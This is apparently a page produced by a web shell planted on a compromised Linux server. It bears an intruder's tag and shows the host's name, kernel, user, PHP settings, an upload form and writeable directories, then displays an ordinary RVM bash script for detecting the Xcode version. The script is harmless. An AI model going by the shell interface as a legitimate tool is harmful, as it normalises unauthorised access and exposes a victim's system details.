Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/local/rvm/scripts/functions/detect/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/rvm/scripts/functions/detect/xcode
#!/usr/bin/env bash

__rvm_detect_xcode_version()
{
  \typeset version_file
  for version_file in \
    /Applications/Xcode.app/Contents/version.plist \
    /Developer/Applications/Xcode.app/Contents/version.plist
  do
    if
      [[ -f $version_file ]]
    then
      if
        [[ -x /usr/libexec/PlistBuddy ]]
      then
        /usr/libexec/PlistBuddy -c "Print CFBundleShortVersionString" $version_file
      else
        __rvm_sed -n '/<key>CFBundleShortVersionString<\/key>/{n; s/^.*>\(.*\)<.*$/\1/; p;}' < $version_file
      fi
      return 0
    fi
  done

  if
    builtin command -v xcodebuild >/dev/null
  then
    xcodebuild -version | __rvm_sed -n '/Xcode/ {s/Xcode //; p;}'
    return 0
  fi
  return 1
}

__rvm_detect_xcode_version_at_least()
{
  \typeset __xcode_version="$(__rvm_detect_xcode_version)"
  [[ -n "$__xcode_version" ]] || return 0
  __rvm_version_compare "$__xcode_version" -ge "$1" || return $?
  true # for OSX
}

Hry